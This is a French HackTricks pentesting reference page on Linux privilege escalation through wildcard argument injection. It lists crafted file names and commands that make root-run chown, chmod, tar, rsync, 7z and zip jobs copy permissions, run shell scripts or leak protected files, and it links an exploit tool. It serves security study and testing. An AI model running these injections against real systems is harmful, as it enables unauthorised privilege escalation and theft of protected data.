hacktricks/linux-hardening/privilege-escalation/wildcards-spare-tricks.md

4.8 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

chown, chmod

Vous pouvez indiquer quel propriétaire de fichier et quelles permissions vous souhaitez copier pour le reste des fichiers

touch "--reference=/my/own/path/filename"

Vous pouvez exploiter cela en utilisant https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (attaque combinée)
Plus d'infos dans https://www.exploit-db.com/papers/33930

Tar

Exécuter des commandes arbitraires :

touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

Vous pouvez exploiter cela en utilisant https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (attaque tar)
Plus d'infos sur https://www.exploit-db.com/papers/33930

Rsync

Exécuter des commandes arbitraires :

Interesting rsync option from manual:

-e, --rsh=COMMAND           specify the remote shell to use
--rsync-path=PROGRAM    specify the rsync to run on remote machine
touch "-e sh shell.sh"

Vous pouvez exploiter cela en utilisant https://github.com/localh0t/wildpwn/blob/master/wildpwn.py _(_attaque rsync)
Plus d'infos dans https://www.exploit-db.com/papers/33930

7z

Dans 7z, même en utilisant -- avant * (notez que -- signifie que l'entrée suivante ne peut pas être traitée comme des paramètres, donc juste des chemins de fichiers dans ce cas), vous pouvez provoquer une erreur arbitraire pour lire un fichier, donc si une commande comme celle-ci est exécutée par root :

7za a /backup/$filename.zip -t7z -snl -p$pass -- *

Et vous pouvez créer des fichiers dans le dossier où cela est exécuté, vous pourriez créer le fichier @root.txt et le fichier root.txt étant un symlink vers le fichier que vous souhaitez lire :

cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt

Alors, lorsque 7z est exécuté, il traitera root.txt comme un fichier contenant la liste des fichiers qu'il doit compresser (c'est ce que l'existence de @root.txt indique) et quand 7z lira root.txt, il lira /file/you/want/to/read et comme le contenu de ce fichier n'est pas une liste de fichiers, il renverra une erreur affichant le contenu.

Davantage d'infos dans les Write-ups de la box CTF de HackTheBox.

Zip

Exécuter des commandes arbitraires :

zip name.zip files -T --unzip-command "sh -c whoami"

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Formation Expert Red Team AWS (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Formation Expert Red Team GCP (GRTE)

Soutenir HackTricks
{% endhint %}